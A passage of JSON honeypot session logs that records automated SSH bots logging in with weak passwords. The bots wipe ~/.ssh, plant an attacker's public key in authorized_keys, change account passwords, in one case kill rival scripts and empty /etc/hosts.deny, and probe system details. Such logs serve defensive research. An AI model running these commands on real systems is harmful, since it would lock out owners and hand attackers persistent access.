-l"},{"seq":20,"at":"2026-08-27T12:27:06.822629+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:27:07.119443+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:27:07.846168+00:00","kind":"output","latency_ms":null,"data":"top - 12:27:07 up 7 days, 9:17, 0 user, load average: 0.2, 0.17, 0.22\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:27:08.143355+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:27:08.899574+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:27:09.196236+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:27:10.070437+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:27:10.365966+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:27:11.181643+00:00","kind":"output","latency_ms":null,"data":"sklep"},{"seq":29,"at":"2026-08-27T12:27:11.478779+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:27:12.757429+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:27:13.058328+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:27:14.207379+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"sklep","password":"sklep","method":"password","accepted":true,"tier":"other"}]} {"id":"968341c1-d34d-4470-806b-cb94fa62108f","name":"languid-ivory-pangolin","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59630,"username":"zsolt","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":444,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:26:45.087105+00:00","ended_at":"2026-08-27T12:26:46.215932+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-27T12:26:24.774838+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:26:25.211042+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:26:29.567756+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:26:30.337055+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:26:30.784859+00:00","kind":"input","latency_ms":null,"data":"echo -e \"zsolt\\npRqX1AxBAnER\\npRqX1AxBAnER\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:26:31.223777+00:00","kind":"input","latency_ms":null,"data":"echo \"zsolt\\npRqX1AxBAnER\\npRqX1AxBAnER\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:26:31.665485+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:26:32.557030+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:26:33.000790+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:26:33.894150+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:26:34.341931+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:26:35.374941+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:26:35.823778+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:26:36.207087+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:26:36.649522+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:26:37.434314+00:00","kind":"output","latency_ms":null,"data":" 12:26:37 up 7 days, 9:16, 0 user, load average: 0.05, 0.05, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:26:37.876321+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:26:38.582498+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:26:39.042176+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:26:39.543139+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:26:39.983575+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:26:40.626811+00:00","kind":"output","latency_ms":null,"data":"top - 12:26:40 up 7 days, 9:16, 0 user, load average: 0.05, 0.05, 0.05\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:26:41.070085+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:26:41.438111+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:26:41.878929+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:26:42.138140+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:26:42.593095+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:26:43.257223+00:00","kind":"output","latency_ms":null,"data":"zsolt"},{"seq":29,"at":"2026-08-27T12:26:43.697451+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:26:44.644046+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:26:45.087864+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:26:46.080371+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"zsolt","password":"zsolt","method":"password","accepted":true,"tier":"other"}]} {"id":"e00e9b56-c236-4a32-a457-8a88a1fa0e97","name":"electric-tawny-weasel","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":33410,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":735,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:26:03.861784+00:00","ended_at":"2026-08-27T12:26:05.485026+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:25:37.830803+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:25:38.559066+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:25:43.624166+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:25:43.879370+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:25:44.833072+00:00","kind":"input","latency_ms":null,"data":"echo \"root:zvuVQCPzwCcO\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:25:45.566012+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:25:46.298911+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:25:46.562830+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:25:47.298829+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:25:48.629055+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:25:49.362244+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:25:50.507660+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:25:51.235794+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:25:51.650132+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:25:52.382032+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:25:53.054454+00:00","kind":"output","latency_ms":null,"data":" 12:25:53 up 7 days, 9:16, 0 user, load average: 0.29, 0.26, 0.35\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:25:53.795410+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:25:54.534247+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:25:55.262584+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:25:55.676108+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:25:56.424122+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:25:57.015045+00:00","kind":"output","latency_ms":null,"data":"top - 12:25:57 up 7 days, 9:16, 0 user, load average: 0.29, 0.26, 0.35\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:25:57.753103+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:25:58.242433+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:25:59.026133+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:25:59.678020+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:26:00.411127+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:26:00.850522+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:26:01.584572+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:26:03.118423+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:26:03.862999+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:26:05.246349+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Hq123456","method":"password","accepted":true,"tier":"other"}]} {"id":"7fe44b2d-599e-4b97-8931-4318d9559b8d","name":"foggy-misty-jerboa","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":49174,"username":"james","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":348,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:25:42.378488+00:00","ended_at":"2026-08-27T12:25:44.615648+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2258,"events":[{"seq":1,"at":"2026-08-27T12:25:19.216149+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:25:19.564281+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:25:24.810948+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:25:26.216406+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:25:26.567588+00:00","kind":"input","latency_ms":null,"data":"echo -e \"james@123\\nH2o54DnR8dkg\\nH2o54DnR8dkg\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:25:26.912880+00:00","kind":"input","latency_ms":null,"data":"echo \"james@123\\nH2o54DnR8dkg\\nH2o54DnR8dkg\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:25:27.260556+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:25:27.845418+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T12:25:28.208158+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T12:25:29.127456+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T12:25:29.473232+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T12:25:31.675198+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:25:32.025930+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T12:25:33.374055+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T12:25:33.723470+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T12:25:34.391025+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T12:25:34.746204+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T12:25:35.283603+00:00","kind":"output","latency_ms":null,"data":" 12:25:35 up 7 days, 9:15, 0 user, load average: 0.33, 0.24, 0.35\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T12:25:35.633615+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T12:25:36.084937+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T12:25:36.426900+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T12:25:37.075319+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T12:25:37.423110+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T12:25:38.224155+00:00","kind":"output","latency_ms":null,"data":"top - 12:25:38 up 7 days, 9:15, 0 user, load average: 0.33, 0.24, 0.35\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T12:25:38.576088+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T12:25:39.033869+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T12:25:39.372298+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T12:25:39.765590+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T12:25:40.112076+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T12:25:40.506744+00:00","kind":"output","latency_ms":null,"data":"james"},{"seq":31,"at":"2026-08-27T12:25:40.855399+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T12:25:42.030051+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T12:25:42.379435+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T12:25:44.512501+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"james","password":"james@123","method":"password","accepted":true,"tier":"other"}]} {"id":"6164e871-e416-451f-b1d6-b7e6271cd5e2","name":"jaunty-eager-lark","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":41570,"username":"alex","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":262,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:25:35.353754+00:00","ended_at":"2026-08-27T12:25:37.508863+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2257,"events":[{"seq":1,"at":"2026-08-27T12:25:18.484993+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:25:18.755698+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:25:22.310779+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:25:23.021548+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:25:23.283873+00:00","kind":"input","latency_ms":null,"data":"echo -e \"alex12345\\n9WXKF78sxZD2\\n9WXKF78sxZD2\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:25:23.545082+00:00","kind":"input","latency_ms":null,"data":"echo \"alex12345\\n9WXKF78sxZD2\\n9WXKF78sxZD2\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:25:23.804015+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:25:24.698970+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:25:24.959967+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:25:25.833136+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:25:26.094880+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:25:27.108266+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:25:27.371219+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:25:27.923747+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:25:28.183802+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:25:28.685162+00:00","kind":"output","latency_ms":null,"data":" 12:25:28 up 7 days, 9:15, 0 user, load average: 0.13, 0.15, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:25:28.945086+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:25:29.606531+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:25:29.866792+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:25:30.443756+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:25:30.707634+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:25:31.290272+00:00","kind":"output","latency_ms":null,"data":"top - 12:25:31 up 7 days, 9:15, 0 user, load average: 0.13, 0.15, 0.13\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:25:31.555483+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:25:32.236091+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:25:32.498571+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:25:33.331279+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:25:33.593595+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:25:33.867612+00:00","kind":"output","latency_ms":null,"data":"alex"},{"seq":29,"at":"2026-08-27T12:25:34.136235+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:25:35.093129+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not 